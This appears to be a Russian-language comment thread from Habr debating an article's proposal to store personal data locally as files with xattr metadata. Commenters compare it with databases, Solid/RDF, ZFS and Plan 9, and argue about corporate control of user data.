Начнем с того что я прекрасно понимаю как все устроено под капотом, в свое время я пилил свой 9p сервер.
БД к тому же умеют ломаться, а вот современные ФС уже этим болезням не подвержены.
Нет это наверно вы не поняли, файл я могу перекинуть в любой ОС, т.к. это то начем основаны принципы работы ОС, а вот поделиться с другом записью из БД значительно сложнее, придется использовать специальный софт из пункта выше
Зачем, если вам надо перекинуть email? Или СМС? Там уже давно устоявщиеся стандарты хранения данных, равно как и способы их передачи. Ту же почту проще почтовыми протоколами передать
А тот же файл? Как вы пререкидывать собрались условно с телефона на ноут? Конечно вы можете, но только или шнурок тащить, или через сетевую шару (и два "проводника")
База - те же яйца, уже давно решений, которые позволяют переносить данные, или синхронизировать - немеряно. Можно даже элементарно поднять синхронизацию между разными движками с задержкой в доли секунды по транзакционно
БД к тому же умеют ломаться, а вот современные ФС уже этим болезням не подвержены
Опять мимо, почти все современные СУБД имеют решения из коробки active-standby, а многие и мультикластер. ФС же как правило ничего этого не умеет, а резервирование данных вы строите ниже уровнями.
Прочитал всё, и комментарии тоже. Сразу для меня описанное в статье выглядит как "наив" - ну как бы слишком наивное понимание всего этого. Софт сейчас для того и пишут, чтобы именно через него и использовали, и при этом у каждого автора (соавторов) софта своë виденье, как правильно обращаться с данными - если вначале это были файлы, и типа данных были "сообщения, файлы, адреса", и т.п., то далее дополняются " координаты, статусы (в конкретном мессенджере!), цитирование сообщений (или частей сообщений, в т.ч. из других мессенджеров, и надо ещë отобразить автора цитаты (или не отобразить - смотря какие настройки этого клиента, настройки автора цитаты и т.д.)), и ещë кучу можно поидумать (в дискорде например показывает в какую игру сейчас человек играет), а я например захочу транслировать температуру воздуха у себя на балконе. Где, как, в каком формате это должно храниться и передаваться? Вот каждый сервис и делает своë, в силу своего понимания и каких-то своих убеждений (чаще всего через призму коммерциализации в будущем или сейчас).
На Solid похоже (https://solidproject.org)
Файловая система может быть виртуальной и реализована поверх БД, что дает какую-то отказоустойчивость, или быть "умной" вроде ZFS, тогда даже дедупликация будет.
Да идея у solidproject это, хранение данных вне приложений и действительно совпадает с моей. А дальше начинаются отличия в том, что я предлагаю свои данные всегда иметь при себе, в solid же хранение данных децентрализованно разнесено, но находится в online хранилищах. Это может быть даже лучше, но поверх такой системы сложно будет запустить приложние и работать с этими данными, особенно если у нас проблемы с интерентом.
ФС zfs чудесна и в целом перекрывает возможности многих БД, как и APFS например. Кстати если есть интерес могу порекомедовать почитать как работает Fossil и Venti на plan9. И, кстати если бы все современные приложения строились по идеологии "всё есть файл" предоставляя из своей внутренней БД данные наружу в виде файлов, то хотя бы проблем с импортом/экспортом не возникало.
Спасибо за то что поняли идею, мне показалось я не смог донести ее многим читателям.
Кстати в Solid хранение данных остается в формате файла, а к нему добавляется мета инфромация в виде RDF записи. Я тоже долго думал над фроматом хранения данных и пришел к выводу, что лучше хранить данные в максимально оригинальном виде, а метаинформацию добавить в виде xattr тегов.
А в чем принципиальная разница между xattr и RDF?
RDF это метаинформация которая должна храниться либо в какой то БД, либо в отдельном файле...
xattr поддерживается ФС, хранится тоже по сути в БД, но это все рулится именно файловой системой
Плюс если передать файл из одной ФС с поддержкой xattr в другую, теги должны передаться без проблем, а вот с RDF так не получится
Согласен с этим, когда поддержка xattr есть это удобно.
Но если их поддержки нет, или она по-другому работает, то все ломается) Ну вот не получается в linux на ntfs права выставить. А с rdf как раз удобно - права на файл прописаны в файле, все есть файл, аминь) И этот файл существовал бы и в linux и в windows одинаково, на любой ФС.
Я вообще искал хоть один формат файла который бы включал в себя наборы файлов и папок... что то вроде bundle, что бы был указан основной файл и бли дополнительные файлы (метаинформация), вложения может какие то и т.д.
В итоге нашел только epub, который более менее может текст + вложения хранить, pdf который так же может, но имеет жесткое форматирование и на этом все...
У эпла есть rtfd, который тоже по суть папка с файлами, но эта магия происходит только в macOS
Дальше уже только файловые контейнеры вроде dmg, но увы они не могут дать простой доступ к данным для индексации например или предпросмотра
Поэтому принял решение что лушче хранить в оригинальном формате файла + xattr, тут пока просто ничего лучше не придумали
tar? zip? rar?
Что бы ос индексировала их содержание, придется сделать распаковку?
увы, вопрос индексации остается открытым, есть и линукс и макос, и на обеих таких фич из коробки нет
Как и вашего волшебного сервиса.
ну... зачем так, кое что есть уже готовое например OfflineIMAP, это прям один из видов сервиса для почты, вполне себе годный
"Папа был прав, Папа был прав!" как в песне поётся. Возвращение Unixway, страны отцов. Сначала ее разрушили интеллектуалы БД, теперь добили портовые грузчики. А это было первым принципом, фундаментом.
Каким образом сохранение данных локально мешает сервисам их тоже себе на серверах корпораций сохранять? Получается просто избыточное сохранение.
не совсем понял вопроса... сервис это программа работающая с источником данных, которая может забрать данные из источника, сохранить локально и уметь сделать отправку в источник
Кто производит сервисы (и по сути их контролирует, как и то, куда и какие данные сервис отправляет и сохраняет)?
Кто производит, кто контролирует? Никто, пока это идея... но вообще есть вот например реализация для почты OfflineIMAP. Почти то что нужно, opensource проект.
Можете тогда придумать выгоду для производителей сервисов? Иначе идея умрет в зачатке...
Вообще сервисы по хорошему должны были написать поизводители ОС, а вот GUI к ним могли бы написать разработчики. Сейчас по сути разработчики пишус сразу и сервис и GUI в одной программе.
Понятное дело разработчики. Но смысл делать, если это денег не приносит? Максимум на энтузиазме и для портфолио, но тогда вся текущая it экономика разваливается, потому что умения писать сервис такой не нужны в корпоративном секторе. Ну а производители ОС не должны писать аналоги телеграма, почты и проч если это не принесет доп денег. Или я чего то не понимаю.
Те, кому действительно это надо, уже хранят свои данные локально. Пилят свои велосипеды, собирают решения из говна и палок (я сам такой).
Массовому пользователю это нафиг не нужно. Не в такой степени, чтобы он был готов всё это финансировать из своего кармана. Ведь сейчас он платит своими данными, своим вниманием, своей зависимостью от сервисов. Переубедить его, чтобы он платил деньгами - нереально. А без денег нет никаких шансов конкурировать с гигантами, у которых миллиардные бюджеты на рекламу, на сервера, на отделы разработки.
Ну, могут энтузиасты собраться и написать 2.5 программы, построенных на этих принципах. И худо-бедно поддерживать их лет 5, пока интерес не переключится на что-то другое. Но массового успеха эти программы не получат.
Ну, пусть у человечества будет хотя бы одна внятная инструкция как можно сделать по другому, и так что бы это действительно работало. И кстати, я уже сейчас вижу, насколько внедрение ИИ упрется в работу с данными в сегодняшнем подходе.
Вот смотрите, если например сделать то о чем я написал, то интеграции ИИ вообще не будет проблемой, без сторонних API.
А будет, так − завтра корпорации начнут вбухивать бабки в это, Apple выкатит какой ниудь очередной фреймворк с кривым API, который так же коряво будет поддерживать. Причем выкатит для двух с половиной стран как раньше было с Сири. Для других ОС вообще никто ничего не напишет. И все будут сидеть страдать и думать, как же дать доступ к данным для ИИ, у нас ведь все данные зашиты внутри программ!?
Корпорации уже ведут войны за данные. Вспомните, как Twitter, Reddit, StackOverflow выступали против, чтобы на "их" данных обучали ИИ (на самом деле, данные пользователей, но пользователей уже никто и не спрашивает, их данные присвоили).
Apple выкатит какой ниудь очередной фреймворк с кривым API, который так же коряво будет поддерживать
Так это её бизнес-модель, она за это получит деньги. Если же всё будет лежать открыто и доступно настоящему владельцу данных, то, во первых - за что, спрашивается, платить покупателю данных? Во-вторых - как себе присвоить данные пользователей и заработать на этом?
Корпорациям - чем запутаннее и закрытее, тем лучше.
Да все так! Наши данные уже не наши... сейчас например уже двухфакторка это смс/токен/приложение пароль, код и т.д. столько слоев проверок что отвались хотя бы один, к своим данным доступ получить становится очень сложно, а если два из них похерятся то всё... пиши пропало
Я недавно обновлял телефон, так вот проблемы начались начиная с симок и заканчивая всеми банковскими приложениями... Под эгидой упрощения и секъюрности, нагородили заборов и сложностей.
Даже просто перекинуть видео друзьям, ты заходишь в Фото, оно начинает тупо выкачивать данные из облака (даже если локально хранить, эта зараза что то там выгружает). Дальше куда, в Телегу если, то оно начинает конвертировать, если по airdrop, то оно вообще работает через раз. А можно было просто взять файл из локальной папки и скопировать в папку друга которая расшарена через Syncthing.
Поэтому я и начал искать варианты как можно было бы нормально сделать всё без потери удобства. Я ведь продумывал это не один день, почти год... пытался найти варианты и подходы, перелопатил все операционные системы, посмотрел реализации различные. И в итоге более менее разработал концепцию как это действительно могло бы работать, к тому же безопаснее чем сейчас.
Очень адекватное выступление!, И в то же время редко такое встретишь - большинство хабёров занято тем что помогают спецслужбам следить за всеми, придумывают какие то электронные карточки, интегрируют их с базами данных бандитов. А тут в этом посте человек понимающий.
Спасибо. Но я скорее за то что бы быть зависимым от вендоров. А на счет того что понапридумывали по 100500 различных авторизаций, токенами, СМС и прочими делами, тут я солидарен. Перебор уже, пора с этим тоже что то делать.
Если интересно вот продолжение в несколько художественном стиле, плюс с описанием некоторых девайсов: https://habr.com/ru/articles/784876/
Пора вернуть свои данные себе